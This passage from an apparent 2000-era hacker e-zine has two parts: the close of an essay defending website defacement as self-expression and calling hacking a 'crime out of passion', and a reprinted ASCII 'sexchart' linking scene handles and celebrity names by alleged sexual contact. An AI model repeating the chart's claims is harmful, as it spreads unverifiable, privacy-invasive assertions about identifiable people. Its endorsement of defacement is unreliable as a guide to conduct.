html. For me defacing is just expressing my opinion on stuff, nothing more.
About 'fuck the ethics' thing. Mr. David, the ethics are here to prevent a major
chaos. Without ethics people would just go around and delete anything they run into.
I suggest every hacker to stick to the ethics as close as he can, hell, that's why they
were written. I know people forget about them, but there are always people like me
to remind hackers about the ethics. That's the balance. People don't stick to them,
they life stupid messages like "I 0wn3 j00". I tell You people, that's bad. Can't You
just write something. Anything, just not these stupid irritating messages. Ok, we
started another discussion here. "Who the hell are U to dictate what should be placed
on a defaced website?" - You say. Well, Your right. I'm nobody. I can't dictate what
should be placed on a defaced website. But I can suggest people not to do it. I just
suggested it, I didn't dictate or order it.
"The harder you try to hack the more aware we become as admins." - Aware ?! If
I deface Your site ten times, and don't tell You how I got in, You become more aware
!? I damage Your company for 10.000 $ by defacing it, because people say: "How can
they secure my server when they can't even secure their own." And nobody wants
Your service anymore. Don't get me wrong. I'm sure You're a very good and
experienced administrator, but nothing is secure enough, that hackers can't brake it.
That's what we devoted Our lives to, penetrating systems. I enjoy hacking. That
is really something unique. People through ages have always wanted to do something
that's forbidden or illegal. Just remind Yourself of Adam & Eve, and the Heaven
garden. Eve had to eat that apple alldo God gave them everything they needed, and
just forbid them to eat apples from that tree. Hacking is illegal in many countries. You
could get worse sentence for hacking than for murdering someone. I don't really care
if I get raided. Hacking is my crime. A crime out of passion. Respect me or hate me,
the choice is Yours.
- Peace out, slash
-
Shoutouts
- p4riah, LogError, zanith, v00d00, PHC, THC, attrition.org, net-security.org, ex1t,
sAs72, Cruciphux, HWA.hax0r.news, BHZ, SiRiUs, sLina, kLick_Mi, Emptyhead,
mosthated, pr1sm ,fuqraq, airWalk, [Princev], zeroeffect, and the whole BLN.
- Peace to my man whitecee, keep Youre head up. Peace to everyone who gave
support via email or IRC. I wish You a happy and a bug-free New Year.
Links...
- Attrition.org: Keep up the good work fellows
- HelpNet Security: The best news site on the net
- Black Lava Network: BLN for life !!!
Copyright © slash
Penetrating systems since 1998
@HWA
04.0 The hacker sex chart 2000
~~~~~~~~~~~~~~~~~~~~~~~~~
This was to be included in the last issue but attrition was down (only
source I know of that carries it) so here it is in its glory.
*********** WARNING: Explicit content **************************************
slander & libel -- the official computer scene sexchart
"that's none of your business!"
version 9.04
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
for updates, additions, or to be put on the sexchart mailing list,
mail crank@ice.net.
to receive the latest version on efnet irc, "/msg lifelike sexchart".
a link is denoted by any sexual action between computer users that is
capable of spreading an std, from wet kissing on up.
the last .05 of revisions is listed at the bottom.
since the chart has grown so much, it's been extended in a strange way.
to preserve the 78 column width, there is now a secondary chart beneath
the first. people whose names appear between asterisks (*) in the first
chart also exist in the second.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
.--------- turin -------------------------------------.
| .----' | ||`---------------------------. |
toby | | |`----- keeper | |
.-|------|-|--------|---|-- intro -------|---------|------------.
| | .----|-|----- bjoe | | | | |
.-----|-|-|----|-|------------|-- brat acidqueene | |
| .---|-|-|----|-|------------|----|-----------|------|--|-----. |
| | | | | | `--. | | shorty | | | | |
angst | | | .--|-- reality ---|----|--|------ weedboy | | | |
|| |`--|-|-|-|--|--------------|----|--|--------|------|--|-----|----. |
|| `---|-|-|-' | | | | .------' | | | | |
|| .---|-|-|----|-- morgaine | | | | DJTrax | | | | |
|| | | | |.---|------|-------|-- lucky | | | llama | | |
|| | | | || | .-- thal ----' .----|-|--' potter | | | | |
|`-|-- oodles --|-|------------ styx --|-|--------|----|-|---. | | |
| | | | | | cerkit | | | | scat | | | | | |
| | .-' | vera | | .-|--|---|-|-----------|-|-|---|--|----|-|--.
| | | b3 | .' | skatin | | `--.| | dukeo | | | | | | | |
| | | `-----|-|--.`. | .---|-' || |.-' | | | blueeyes | | |
|.-|-|---------|-|--|-|-|-|---|----- evol! --- eerie | | | || | | | |
|| |.' | | | | | | ffej .--'|| || .-----|-' | | || dom | | |
|| || | | | | | | | | | .-'| |`--.| .-|---|-|--'| | | | |
|| || morph | | metalchic | | | | | || | | | |.--' carly | | |
|| || `----|-|---' | |`--|-|-|--|-|-- bF --' | 8ball ----'| | | |
|| || spacehog `.`. scuzz | | | | | `----|-----|---|-|---. xan | | |
|| |`-. `----|-|--. | `-|-|--|--. | | | | | | | |
|| | TH0M Y0RKE | | kurdt -|-----|-' | | `-----|-. | | beck | | |
|`.`. | `-. | `-----|---.| crimson | | | `---|----. | | |
`-|-|- collette `-. | `-- claud -|--.||.--' | | | nymph | | | |
.-|-|-------|-----|-|---------|--|- pip!@ --. | | | | | | | |
|.' | kablooie | | gumby | |.-'| || cancer | `-|----|---- beastie |
||.-' | | | | | | || | |`-. | | sample --' | |
||| mooer --' | | ladydeath | || | | iamjustme | | | |
||| || | | | | .--|----|--'| | | | | inuendo | |
||| || cardamon | | | | nitz | | | fatslayer .-|---' | | |
||| |`----------|-|-|-|-------|---|--|-----------|-' leesa hgirl | |
||| | tsoul .--' | | | sensei | littlestar | | | | | |
||| | | | | | | .------' | fried dcheese ----' |
||| | demon | aoxomoxoa --|-- poppie .----------' | | |
||| | | `----. | `-. | | | alecks abacab | wishchld |
||| `-- ostrich --|-|-. | | donnie | |.-------' | |
||`---------|-----|-|-|-|--|----' | || atropos assamite | dka |
|| jellyb | | | | | .---|-.|| |.--------' | | |
|`. | | | | | gilmore | baital .-- novicane .--' katester |
| | michelle_ .---|-|-|-|--|----|-----|--'| | | | .---' |
| | | | | | | | | crayon | pol | | TOXiC79 | | _evol_ |
| | abraxas | | | | | | .----|-|-|----------' | | |
| | | | | | | | vritra --|-|---.| | |.- bonita80 | shroomy69 |
| | mercuri | | | | | `---------.|.' || | ||.----------' | | |
| | | `---|-|-|-|-- nerkles |||.-- GoNINzo! ------ september | | |
| | lori | | | `-----------.|||| | ||`----------|------|-' | |
| | | | | | mona ||||| dazey |`----- ambigu0us --|---' |
| | skooter nic | | | | ||||| | | | | vocks |
| | | | | | | grimwater -.||||| NightMyst | | |
| | sita -- ninja | | | |||||| | marcus666 |
| | .---'| `-.| | | path0s --.||||||.-- turbo -- ivy256 | |
| | jules ziggy || | | |||||||| | dannyman |
| | || || | | photochic ||||||||.-- holden -- syn | | |
| | krampus --'| || | | | ||||||||| | christy |
| | | || | | spirit --.||||||||| lucifuge yumas | | |
| | indpuck --' || | | | ||||||||||.-' | .'.-- kkrazy |
| | .--'| | `----|---- crank!@#@%! ------ jamesy --|-|-------. |
| | all-of-nitco | `-----.| | | || | bex | | | .- LCN |
| `-. | `-----. || | | |`-|-----|--------|---|-|---|---.| |
`-. | fishhead hawk | |`-. | | | | .---|--------|---' | | || |
| | | | | | | | | `--|-|-- puck --- kinessa --|--.|| |
| | tamago | darwin | | | | | | | .--' | ||| |
.-|-|-----|---|----|----|-|--|---|---|----|-' | .-----------------' ||| |
| | | art | | `-- kaia -|---|---|---.| | | graywolf jakey ||| |
| | | | |.--|--------' `-. | | | || `--|-------.| .---' ||| |
| | | seaya `---- fawn --|-|---|---|-- mogel --|------ pixy -------.||| |
| | | | .---|---|-|---|---|----' || `-----. | |`------. |||| |
| | | slug grlfrmars `-. | | | `----. |`-------. | | `------.| |||| |
| | | | | | | | | `------. | nykia | | | turtle || |||| |
| | | kev-man | wildcard | `-|---------.| `--. | | | | || |||| |
| | `---------|----------|---|--------.|| hateball | | | jook || |||| |
| `. spectacle `---|-------.||| .-----|-|-' | | || |||| |
|.-|-------------------------|------ murmur -|-----|-|---' | ogre || |||| |
|| | | || ||`--|-----|-|-----|--|-. || |||| |
|| | .-----------|-------'| |`---|----.| | peggy | || |||| |
|| | Guitarzan --|-. CapnRat | | | | || | | | || |||| |
|| | .--|-|---|-----|- keroppi | .--|-- page! -- ghort | || |||| |
|| | crash313 | | | bond `--. | | | | .'| | | | | || |||| |
|| |.---|-----|--|-|----|-------|-|-----|-|--|--|-|--|----' | | || |||| |
|| || windx --|--|-' | .----|-'.----' | | | | | | | || |||| |
|| ||.-'|.----'.-|------|--|----|--|------' | | |.-|------' | || |||| |
|| ||| || | | | |.---|--|--. | | || | dedboy | || |||| |
|| ||| || .---' | hitchcock --|--|--|------|--' || | | | | || |||| |
|| ||| || | | | | | | | | .' larissa | .'| | | glynis || |||| |
|| ||| || | .--|--|-|-|-|-|---|-|--. | | | | | || |||| |
|| ||| || | | | | | | | | | | AnonGirl | | | | | Juliette || |||| |
|| ||| || | | | | | | | | | | | | .-|-|-|-' | || |||| |
|| ||| swisspope | | | | | | | | Medusa --|-|-|-|-|---- PrimeX || |||| |
|| |||.-' ||`--|--|-|-|-|-|---|-|----------|-|-|-|-|------------'| |||| |
|| |||| || | | | | | | | | cinnabon | | | | | Fiyaball | |||| |
|| |||| |`---|--|-|-|-|-|---|-|--|-----. `-|-|-|-|----------|-.| |||| |
|| ||||.--- piglet -' | | | `---|-|--|-----|-. | | | | | || |||| |
|| ||||| `----|-|-|-----|-|--|-----|-|-|-|-' | | || |||| |
|| ||||| pie -- bor | | | .---' | | .-|-|-|-|---|-- Quarex | || |||| |
|| ||||| | | | | | .---' | | | | | |.--' | | || |||| |
|| ||||| lankan --|-|-|-|-|- sweeney | | | | || RaggedyAnne | || |||| |
|| ||||`----. | | | | | | | | | | || | | | || |||| |
|| |||`---. | | | | | | toasty --' | | | || | `-.| || |||| |
|| ||`----|-|- PoGo .-' | `-|-|------. | | | || PointBlank || || |||| |
|| waar | | | |.--|---' `----. | | | | |`-. | || || |||| |
|| || | | | | || | .----|-|-----|-|-|-|--|--- hylonome || |||| |
|| || | .-|-|- hillary -|-----|----|-|-----|-|-|-|--|------------.|| |||| |
|| || | | | | | | |`--|- ideaman | | | | | | | dr0ne ||| |||| |
|| || `-|-|-|---|-|-|---|----------|-|-----|-|-|-|- ryu ---.| ||| |||| |
|| || .-|-|-|---' | `---|-- Fowlez | | | | | | .'| carrie ||| |||| |
|| || | | | `-----|-----|--. | | | | | | | | | ||| |||| |
|| |`-|-|-|-- severino | RottenZ -|-|-----|-|-|-' | | nuprinboy ||| |||| |
|| | | | | | | | | || | | | | | | | | ||| |||| |
|| | .' | | laurak -----' | | |`--|-|---- narya --' | redfox ||| |||| |
|| | | | | | `--------' | `--.| | | | ||| |||| |
|| | | `-|-|-- Dravanavin poto || | djbump feival --. ||| |||| |
|| | | `-|--------------------.|| |.--' | ||| |||| |
|| | | kyst | renen -------- jamming roller ||| |||| |
|| | `---|--|---- fritz clinto | seth -------------------'|| |||| |
|| `--- SiN13 --------|---|--------' | | .------------------'| |||| |
|`--. `--------- tracy -------------' | | trep |||| |
| .-|--------------------------------------|---' $t.andrew | |||| |
| | | GWEN STEPHANI SARA GILBERT candyrain | | tart |||| |
| | | | | | fatima --' | |||| |
| | | BILLY C0RGAN GAVIN R0SSDALE DREW BARRYM0RE | |.--------' |||| |
| | | `---. | | | ||.---------'||| |
| | | ED N0RT0N -- C0URTNEY L0VE -----' mysl minstrelle |||.---------'|| |
| | | .----' | | | `-----.||||.---------'| |
| | | KURT C0BAIN TRENT REZN0R -- tammy `----|------.||||||.---------' |
| | | | | |`-------|--- *gweeds@!#* -------. |
| | | MARY L0RD T0RI AM0S JELL0 BIAFRA | .---'||| |||`--------.| |
| | | | | .--'|| ||`--------.|| |
| | |.----- trilobyte --- Schquimpy freqout --|-|-|---'| |`--------.||| |
| | || | | | | | | | .' WL |||| |
| | || chinagirl amos -- EddieV `-- Nex | | | | | |||| |
| | || .------------|-------' | | | | dave_rast |||| |
| | sonia ------- velcro agentorange moonlyte | | | | |||| |
| | | | |`----. `----. | | | | | | lemson |||| |
| | | | sate plexus | savvy neko --' | | | | | |||| |
| | | | | | | .-'| | .-|-|-|-- whoops |||| |
| | | gage `-- rabidchild kirshana | Katia | | | | || |||| |
| | | | | | | | | | jess |`-- nyar |||| |
| | argent fate beaker | gnarf Sylvie | | | | | | |||| |
| | .-----------|---|-----|------------------' | | andrew | skora |||| |
| | | fuaim sedrick | | | | |||| |
| | | anathema .----------------------|-|----|---' |||| |
`-|--|-|-----------------|-. .------------------' | mswicked |||| |
| | | nadyalec erise | | | .--------- duatra -' .-------------'||| |
.-|--' | | .--' | | | | | timbrel | | ||| |
| | riotboi tao puff | | | | | | |.-- nineve | random-tox ||| |
| | `-----. | | | | | | .-- corp! ----------' | .----'|| |
| `- tanadept XunilOS | | | | | | | |||| silicosis -- espidre ---.|| |
| | ||`-----. | | | | | | | | |||| | ||| |
| siren |`---. skywind | | | | | | |||| mudge -- shewolf -- iskra ||| |
| | `-. | | | | | | | |||| | ||| |
| kingtrent | cbnoonan --|-|-|-|-|-|---'||| r2 -- mujahadin level6 ||| |
| `------. | | | | | | | .'|| `---. `-.||| |
| lilindian | lex | | | | | | | || ssq teq -- vYrus | sp0t |||| |
| | | | | | | | | | | || `-------------.| | | |||| |
| Goddess4u | lorah | | | | | | | |`. anarchist --. || | |.--'||| |
| | | | | | | | | | | | | | || | || ||| |
| .------ DrkSphere | | | | | | | | | | tymat -- *pinguino!##@#* ||| |
| | | || |`----|-|-|-|-|-|-|---|-|-|---|-------'|||||||||||| ||| |
| | CrazyLuna || | `.| | | | | | | | | gemmi |||||||||||| ||| |
| | .-'| meelah || | | | | | | | | |||||||||||| ||| |
| Sweetgal_ | | || | | | | | | | | barkode --'||||||||||| ||| |
| | Wi|dChild || | | | | | | | | ||||||||||| ||| |
| angeleyes .'| | | | | | | | | is0crazy ---'|||||||||| ||| |
| .--|-|-|-|-|-|-|---|-|-|--------------'||||||||| ||| |
| gersh | | | | | | | | | | r_avenger --'|||||||| ||| |
| aquis -----------|-|-|-|-|-|-|---|-|-|----------------'||||||| ||| |
| monkeygrl | | | | | | | | | | ter0daktyl --'|||||| ||| |
| skully ------|-------|-|-|-|-|-|-|---|-|-|------------------'||||| ||| |
| logicbox ----|-|-|-|-|-|-|---|-|-|-------------------'|||| ||| |
| | | | | | | | | | | *apok0lyps* ------'||| ||| |
| .------------------|-|-|-|-|-|-|---|-|-|-------|-------------'|| ||| |
|.--|-----------. .----|-|-|-' | | | | | | *kamira* .---'|.-'|| |
|| | | | | | | | | | | | | | || || |
||.-|--------- sarlo --|-|-|---|-' | | | | ao -. quisling tsk .-'| .'| |
||| p3nny |||`---|-|-|---|--.| | | | | | .-------|---|--|-|-|-'
||| | ||| | | | | niala | | | wintarose | .-' | | |
||| sari ||`----|-|-|-. | | | | | | | | | || | | .--' | |
||| | YYZ || | | | | | | laz | | | sinner | | |`. | | | kara |
||| *rage* | |`-----|-|-|-|-|-|-----|-|-|--------|-|-|-|--|-|-|----' |
||| | astraea ---|-|-|-|-|-|-----|-|-|--------|-|-|-|--|-|-|------'
||| rio | | | | | | `-|-----|-|-|--------|-|-|-|--|-|-|--------.
||| | | phz .-|-' `-|---|---. | | | .------|-|-|-|--' `-|-------.|
||| capone |.----|-|-----|---' | | | | | corwin | | `------|---. ||
||| asriel --|-|-----|-------|-|-|-|-|--------' valgamon | | ||
||| b0gus -----.| | | | timb0 | | | | | `--|---|--.||
||| .---- gita | | `. | | | | | | | | |||
||| drd00m | | | | minjo | | | | phone blueadept | | |||
||| veggie --|-|------|---|----|-|-|-|------|--|---------' | |||
||| | | | | | | | | .-- tele -- rambone `-.|||
||| .--- pickaxe --|-. | | | | | mrg | ||||
||`------------|----|-----|---|-|-|----|-|-|-|------' ||||
|| | |.----|---|-|-|----|-|-|-|-- xney3 --- fable -----.||||
|| | ||.---|---|-|-|----|-|-|-' | |||||
|| RoadRuner | |||.--|---|-|-|----|-|-|-- CosmicMJ schmoopie |||||
|| `--|---.|||| | | | | | | | | | | |||||
|| hayley | ||||| | | | | | | | arian vek -- sweeties | |||||
|| | | ||||| | | | | | | | | | | |||||
|| collision --|--.||||| | | | | | | | dj tamtam --- jonathan |||||
|| | |||||| | | | | | | | | | |||||
|| thoth | |||||| | | | | | | | discogurl -- candacep |||||
|| | | ||||||.-|---|-|-|----|-|-|------------------------. |||||
|| dpk arkuat | sQurl!#% | .-|-|-' | | | dwildstar phisher | |||||
|| | | | | ||||| | | | | | | | | | | |||||
|| _Melody_ --|-' ||||| | | | | | | | elek jimmie ----- boufa |||||
|| | | | ||||| | | | | | | | | | | `.|||||
|| atticus | | ||||| | | | | .--|-|-|- comstud MSofty --' | ||||||
|| | `--. ||||| | | | | lump | | | `--. Kanan ||||||
|| flashman --|-'|||| | | | | | | | | LarZ -- Tay ------' | ||||||
|| | .---|--'||| | | | | prae | | | | | | ||||||
|`. rezznor | .'|`-|-|-|-|------|-|-|-- Jon2 -' | | ||||||
| | | | | | | | | | | | | | | ||||||
| | marcus ---|--|-' | | | | | | | | TAYL0R HAWKINS | ||||||
| | `-----|--|----|-|-|-|------|-|-|--. | | | ||||||
| | | | | | | | | | | | | MINNIE DRIVER | ||||||
`-|-. | | | | | | | | | persis ---------------' ||||||
| | .---|--' | | | | | | | | `----- violator ---'|||||
|.' | supox --|-|-|-|-. | | | morkeleb ----------------'||||
|| spruance | `--. | | | `-|----|-|-|----------------------. ||||
|`-|--|-----|---------|-|-|-|--.|.---|-|-|---------------------.| ||||
.-|--' daria | zymotic | `.`-|- ark --|-|-|-- juniper --. || ||||
| | |.-----' | .' | | ||| | | | | | || ||||
| | cvk ----- cybele | .-|--|--'|`---|-|-|----|--. ivylotus || ||||
| | |`----. | | | | ceili | | | Zem | || ||||
| | hellenga | Lone-Wolf | `--|---. | | | | stillson || ||||
| | | | | | | |`-|----|---|----|-|-|-. `----. | || ||||
| | | regs | | miffy `--|----|- eris5 | | | | dudeman | | || ||||
| | | | | `-. | `--. | | | | | | | | `-- sumogirl || ||||
| | | | | | scottie | | | | | | | | `----. | | || ||||
`-|-|---|--|---|------------|-|--|-|-|-|-|-|-----.| Aleph | eighmi ||||
| | .-|--|---|- Wizzbane -|-|--' | | | | | || | | | | ||||
.-|-|-|-|--|---|------------|-|----' | | | | Kaleid ----|--|---.| ||||
| | | | `--|-. `--------. .-' | BLong | | | ||| |`--. | | bohr ||||
| | | | | ChromeLi --|-|---|--------|-|-|-----'|| | halfman | ||||
| | | | `------------|-|---|--. .--|-|-|------'| | | | ||||
| | | | flatlandr ---- aynn --|--|--|--|-|-|-------|-|---' Mythrandr ||||
| | `-|----------------.| | | O_Kei | | | | | ||||
| | micki -- rdrunner || lb | | | | | magneto God ||||
| | | || | iguana | | | Cones | | | ||||
| | | rhendrix -- dbt ---|----|---|-|-|-----|-' hope Tatyana | ||||
| | | | |.----|- pete0 | | | `-. |.----' | ||||
| | | konkers time ---|--------|-|-|----- Rasputin ---- nympho ||||
| | | .------------' `------. | | | | | | ||||
`-|- hagbard MandaPanda -- Doobie | | | | LadyViper | VampKitty ||||
.-' || | `--|-|-|-|--' | .-------------'|||
| m0kab3chu QueenBrocco ---'| ZobZ | | | | Iphigenia | |||
| `-----------..-------|------|-|-|-|-------------|--------------'||
| chickhabit ---.|| Persephone | | | `-----------. | ||
|.-----------------.||| `---|-|-|-- Stu | | afsaneh ||
|| AK47 --.|||| | | | | | | ||
|| .------------.||||| kubiak | | | .---------- sync gauss ||
|| | bfgrrl -- *meenk!@* ---' | | | | |.---' ||
|| | .----------'| | |`----. vlaad | | | | discodan --.|| aloke ||
|| | | nevre | fl00d | | | | | | ||| | ||
|| | | kaos .-----' teletype | | | | professor ||| | lgas ----.||
||.-|-|----|--|-------------|--|-----|-|-|-|---|-----.| ||| | | |||
|||.' | amity bumble --' AIDS .-|-|-|-|---|---- xgirl!@$ -|- deker |||
|||| | | | | | | | | | | .-'||| ||| | | | |||
|||| | style wmmr --|-- caitlin | | | | | | gwar ||| ||`-.| | `--.|||
|||| | | | | | | | | | | ||| || emilia ||||
|||| | coffeegrl .--|- The_Sock | | | | | | cg --'|| || | | | ||||
||||.-' | | .-'| | | | | | | | || || | | boto ||||
||||| nico Alucard | | | kitn | | | | | | dk ---'| || | | ||||
||||| | | | | | | | | | | | | | || | spig ||||
||||| anjee -- meethos | | | | | | | | | .-' swallow || | ||||
||||| | | | | `-|-|-|-|-|-|--. || `-- moose ||||
||||| METchiCK -|-' ^mindy^ | | | | | | ILUVJeNNA || ||||
||||| | ||||| | | | | | | | || ||||
||||| MrJuGGaLo ||||`--|- facedown | | | | | | || ||||
||||| |||`---|-----------|-|-|-|-|-|-- grimmy || ||||
||||| ||`----|-----------|-|-|-|-|-|-. || ||||
||||| phdave |`-----|- f_fisher | | | | | | deadapril || ||||
||||| | `------|-----------|-|-|-|-|-|-. || ||||
||||| Suzzeee dwymer -|-- Bruin | | | | | | supervixn || ||||
||||| `-------.| `--------. | | | | | | || ||||
||||| abbeycat --.|| NeuralizR | | | | | | | || ||||
||||| ||| | | | | | | | | || ||||
||||| lissa ||| Jen1 Briana | | | | | | || ||||
||||| `---.||| | .--'| | | | | | | | || ||||
||||| nyssa --- Wayhigh!@ | | | | | | | | || ||||
||||| .---' | ||| | | | | | | | | || ||||
||||| icy_girl | ||`---|-|---|-|-|-|-|-|-- allira |`---- adamw ||||
||||| | || | | | | | | | | .-' | || ||||
||||| etrigan meta4 |`----|-|---|-|-|-|-|-|-.| ryshask `--- loki |`.||||
||||| | | .-' | | | | |.' | ||.-' | | | |||||
||||| *am0eba* Suger | | | | | ||.-' ||| aries99 jazzy | | |||||
||||| | | | | | | | ||| ||| | | | |||||
||||| SWinder nettwerk | | | | ||| *tigerbeck* -- spacegirl |||||
||||| | .---|---' | | | ||| | | | | | | | |||||
||||| zeven tsal | romulen | | ||`-. | | | twichykat | | | |||||
||||| | .----------'| | |.------|-' |`. | | | | | | | | |||||
||||`--. `-|-- devious | | || `-. | | | | | soulvamp | | | |||||
|||`-. | | `-- phyzzix! -------|-|-|-' | | | | | |||||
|||.-|-|---|-- roman --'|| ||| | | | | timmerca | | | .'||||
||||.' | | | || ||| | | | `--. route | | | ||||
||||| | | emmanuel --'| ||| | | | .----|----------|---|-|-|-'|||
||||| | | | .-----' ||`--------|-|-|-|-. martyn ginny | | | |||
||||| | | philipw |`--. | | | | | .--------------|-|-|--'||
||||| | | | homeysan | | | | `--|-- BernieS | | | ||
||||| | | J0SH LAZIE | | .--|-|-|-|-. | .---------' | | ||
||||| `---|----|--------. | caffiend `.| | | | | | u4ea | ||
||||| | | riley | | || | | | | | krnl ---. | | ||
||||| .--- wikked | | | lordjello || | | | | | .-- missx ||
||||| | .--'||| | | | | | |`.| | | | | | | `. ||
||||| | | ||| Weasel | | | demented1 | || | | | | readwerd kc | ||
||||`-|-|-. ||| | .-|-|--|--' | | ||.' `--|----|-----------|--|-.||
|||| | | | ||`--. | | neal | hannah .--' ||| aliced | elizabeth | |||
|||| | | | |`-. | | | | | `--. .--|---.||| | | | | | | |||
|||| | | | | | | | | | | .---|--|--|--.||||.--' | | `-. deadlord | |||
|||| | | | | | | | | | | | `--|--|- ophie! ---|--|-. | | | | |||
||||.-|-|-|-|--|-|-|-|-|-|-|-- erikb | || | | .--' | | | | genders | |||
||||| | | | | | | | | | | | | | .'| | | | | | | | | |||
||||| | | | | | | | | | | joe630 | | | | | | | | | | `-- eppie | |||
||||| | | |.' | | `-|-|-|--|----.| | | | | | | .---|-|-|-----|---|--' |||
||||| | | || .-|-|---|-' `--|-. || | | | | | | | | | | primal bix |||
||||| | | || | | | tiffie --' | || | | | | | | | | | | |||
||||| | | || | | | | | || | | | | | | | | | | jasonf |||
||||| | | |`-|-|-|- X n0rmag3ne |`. | | | | | | | | | | | |||
||||| | | | .' | | | | | | | | | | | | | | | | .--- judy |||
||||| | | | | | `. | otopico `-|-|-|-|-|-|-|-|-|-- y-windows --------.|||
||||| | | | |.-|--|-' | | | | | | | | | | | | | ||||
||||| | | | || | | angelbaby --|-|-|-|-|-|-|-|-|---' | | ||||
||||| | | | || | | .----|-' | | | | | | | Moxie | | ThreeDays ||||
||||| | | | || | Jazzy1 dana --|-. | | | | | | | `--|-|-|--. | ||||
||||| | | | || | | | .---|-|-|-|-|-|-|-|-|-------|-|-' Slinky ||||
||||| | | | || `. | strat | .-|-|-|-|-|-|-|-|-' .----|-|---. | ||||
||||| | | | |`. | | | | | | | | | | | | Xavi .--|-|- BabyHuey ||||
||||| `-|-|-|-|-|-|--------. | | | | | | | | | | | || | | | | ||||
||||| `-|-|-|-|-|-- Ned -|-|-|-|-|-|-|-|-|-|-|-' || | | | rorrim | ||||
|||||.----' | | | | | `-|-|-|-|-|-|-|-|-|-|-. |`-|--|-|----|---|-.||||
||||||.-----' | | | Magenta | | | | | | | | | | | | | | | | | |||||
|||||||.------' | | | | | | | | | | | | | Taps | | | | | |||||
|||||||| .------' Lotus1 `-|-|-|-|-|-|-|-|-|-|-'||`-|--|-|- LamaKid |||||
|||||||| | | | | | | | | | | | | | || | | | | |||||
|||||||| | sunset | | | | | | | | | | | | || | | | | |||||
|||||||| | | | | | | | | | | | | | | | || | | | | |||||
|||||||| Mark kic | Cluey | | | | | | | | | | || | | | | |||||
|||||||`---.| | | | | | | | | | | | | || |.-' | | |||||
||||||`---.|| | Logre | | | | | | | | | | || ||.--' | |||||
|||||`-. ||`-------|--. | | | | | | | | | | | || ||| | |||||
||||| | *angieb* | | | | | | | | | | | | | || ||| SueVeneer | |||||
||||`-.| | .---' sunni -|-|-|-|-|-|-|-|-|-|--'| |||.--' | |||||
|||`-.|| | | .----|--|--' | | | | | | | | | Khat |||| JulieJul | |||||
||`. ||`-. | | | twi Opie | | | | | | | | | | .-'||| | | |||||
|| | |`. | | .-|-|--------|---' | | | | | | | | | Jai ||`--- Jag --|-'||||
|`-|-|-|-|-|--|-|-|----. rosefairy | | | | | | | | | | |`. ||| | ||||
|.-' | | | `--|-|-|---.| | | `-|-|-|-|-|-|-|-' | `-|-|----'|| `-.||||
||.--|-|-|----|-|-|-- b_!@@ dara | | | | | | | |.--' | .---'| |||||
|||.-' | | .--|-|-|--'|| | | | | | | | | | || .--' | GoodGirl |||||
||||.--|-|-|--' | | || | winmutt | | | | | | | || | |.----.| |||||
||||| | | | .-|-|---'| | | | | | | | | || | || || |||||
||||| | | | | | | | wolverine | | | | | | | || | Yummy Guyver |||||
|||||.-|-|-|--|-|-|----|-----------' | | | | | | || | |||| | |||||
||||||.' | | | | | | xyg shinex | | | | | | || | Rosie -'||| | |||||
||||||| | | | | | | | | `-|-|-|-|-|-. || | .-'|| | |||||
||||||| `-|--|-|-|-- *spyder_bytes* | | | | | | || | Rapunzle || | |||||
|||||||.---|--|-|-|----|---------------' | | | | | || | | || | |||||
||||||||.--' | `-|--. | CrakrMajk --|-|-|-|-|-'| | | Flame -'| | |||||
||||||||| | `. | | .------------|-|-|-|-|--|-|-|-|-------|-|-'||||
||||||||| phatgirl | `-|--. | lemony | | | | | | | | | Atomica | ||||
||||||||| | `--|-|-----|----. | | | | | | | | | | | ||||
||||||||| | | | Wizdom | | | | | | | | m00se | | ||||
||||||||| Twizzle | | | | .-|-|-|-|-|-|--|-|----------|--' ||||
||||||||| .--|------ ReelTime --' `-|-|-|-|-|-|-|--|-|--. Dolemite ||||
||||||||| | | .------'| | | | | | | | | | | | | ||||
||||||||| | | | Lullaby Sambrosia | | | | | | | | | nigel | QueenB ||||
||||||||| | | | | `---------. | | | | | | | | | `-------|-------.||||
||||||||| | | | | b|iss | | | | | | | | | | | |||||
||||||||| | | | RobertG .---|--|-|-' | | | | | | | | |||||
|||||||||.-|--|-|-----|-|-|- Mikey!# --|-|-|-|-|-|--|-------. Kyleel |||||
|||||||||| | `-|-----|-|-|--'| |||| | | | | | elektra | | |||||
|||||||||| | | | | | | |||`---|-|-|-|-|-|--|---. | RdKill |||||
|||||||||| | Zemora | Blondie ||`--. | | | | | | z1nk | | | |||||
|||||||||| | | .------|----|----'`-. | | | | | | | | AllyCat -. |||||
|||||||||| | `-|------|-- WanMan --|-|-|-|-|-|-|-|------|---' | | |||||
|||||||||| `---|------|----------. | | | | | | | misuse | .- Pbass | |||||
|||||||||| | Izzy `- Oscer --|-|-|-|-|-|-|-|--------|--|----' | |||||
|||||||||| | | | | | | | | | | | | | | MastElmo |||||
|||||||||| | | Brian-X Macc | | | | | | | | | `--.| | |||||
|||||||||| | | | | | | | | | | | | | `-- *Starr* | |||||
|||||||||| Maia!@% Bellez --|-' | | | | | | *B00bz* -----'| | | |||||
|||||||||| | ||`-------|----|---|-|-|-|-|-|--|-|------- Rig | | |||||
|||||||||| *Chef* |`------ Cidaq | | | | | | | | | .-------|--|-'||||
|||||||||| Breetai | | | | | | | | | | .--' | ||||
|||||||||| | `-. | | | | | | | luci | | Female ||||
|||||||||| Corn | NuConcept .---|-' | | | | | | | |`-|---.| | `.||||
|||||||||| | | | | `-. | | | | | | | | | *hydro311* |||||
|||||||||`--- lydia_atl PastaGal ---|-|-|-|-|-|--|-|-|--|--|----. .-'||||
||||||||| | | | `-|-|-|-|-|--|-' `--|--|-- Shad0w ||||
||||||||| Pnutgirl | GonzoLoco DrMonk | | | | | `------|--|--. ||||
||||||||| | | | | | | | | .-------' | SessyJen ||||
||||||||| LilDave -' CompChick Gemni | | | | | | splat ---|--' ||||
||||||||| | .---' | | | | | | | .-' Spastica ||||
||||||||`-- bluesxxgrl .--- DH | KL | | | | | | `---|----' | ||||
|||||||| | |.------|--' | | | | | | | CybrChrist ||||
|||||||| | redmare ||.- SN | .--' | | | | | `---. ||||
|||||||| | | |||.----|--|----|-|-' | phreaky VenusGirl ||||
|||||||`--. | tabas --.||||.---|--' .--|-|---' .-------------'|||
||||||`---|-|------------.|||||| | .--|--' | *magpie* | .------'||
|||||| .-|-' r0ach |||||||.--|-|--' | `--.| m0rg1 | yy[z] ||
|||||| | | | .--- n0elle!@ | | onkeld badger || | | | ||
|||||| | | albatross .--' | || | | | | | || ajx --|-- mo ||
|||||| | | jsz | || `.| | littleone `-.|| .----|--. | ||
